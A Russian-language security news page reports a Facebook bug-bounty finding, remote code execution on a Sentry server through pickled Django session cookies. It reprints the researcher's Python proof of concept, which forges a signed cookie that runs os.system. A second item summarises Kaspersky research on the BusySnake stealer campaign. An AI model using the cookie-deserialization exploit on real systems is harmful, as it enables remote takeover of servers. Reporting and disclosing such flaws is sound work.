Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Психологический тест с сюрпризом: хакеры атакуют госсектор через BusySnake

Психологический тест в письме может оказаться не заботой о ментальном здоровье, а входным билетом для стилера. Эксперты «Лаборатории Касперского» обнаружили активную вредоносную кампанию, нацеленную на государственный и электроэнергетический секторы России, Казахстана и Бразилии.

По данным исследователей, за атаками может стоять ранее не упоминавшаяся группировка Armored Likho.

Злоумышленники используют новый стилер BusySnake, который крадет данные с зараженных Windows-устройств, делает скриншоты, вытаскивает пароли из браузеров и отправляет конфиденциальные файлы на командный сервер.

Основной способ заражения — фишинговые письма с архивами. Легенды меняются: где-то жертве предлагают пройти психологический тест, где-то — оформить заявку на гуманитарную помощь. Названия архивов подгоняются под тему письма, чтобы всё выглядело убедительнее.

 

После запуска содержимого на экране может открыться приложение-приманка с опросом или документ, соответствующий легенде. Пока пользователь смотрит на психологию или помощь, в фоне запускается многоэтапная цепочка загрузки, которая приводит к установке BusySnake.

Сам стилер написан на Python и уже существует в нескольких версиях. Он умеет красть данные из буфера обмена, перехватывать пароли из Firefox и Chromium-браузеров, похищать cookie через отдельный модуль и собирать файлы с устройства. В коде также предусмотрены механизмы, которые мешают обнаружению и усложняют анализ.

Любопытная деталь: загрузчики, через которые BusySnake попадает на устройство, судя по анализу кода, могли быть сгенерированы с помощью ИИ. Исследователи отмечают характерные избыточные комментарии и блоки кода.

В «Лаборатории Касперского» считают, что Armored Likho совмещает кибершпионаж против организаций с финансово мотивированными атаками на частных пользователей. Группировка развивает инструменты и встраивает в них функции, которые раньше использовала отдельно.

RSS: Новости на портале Anti-Malware.ru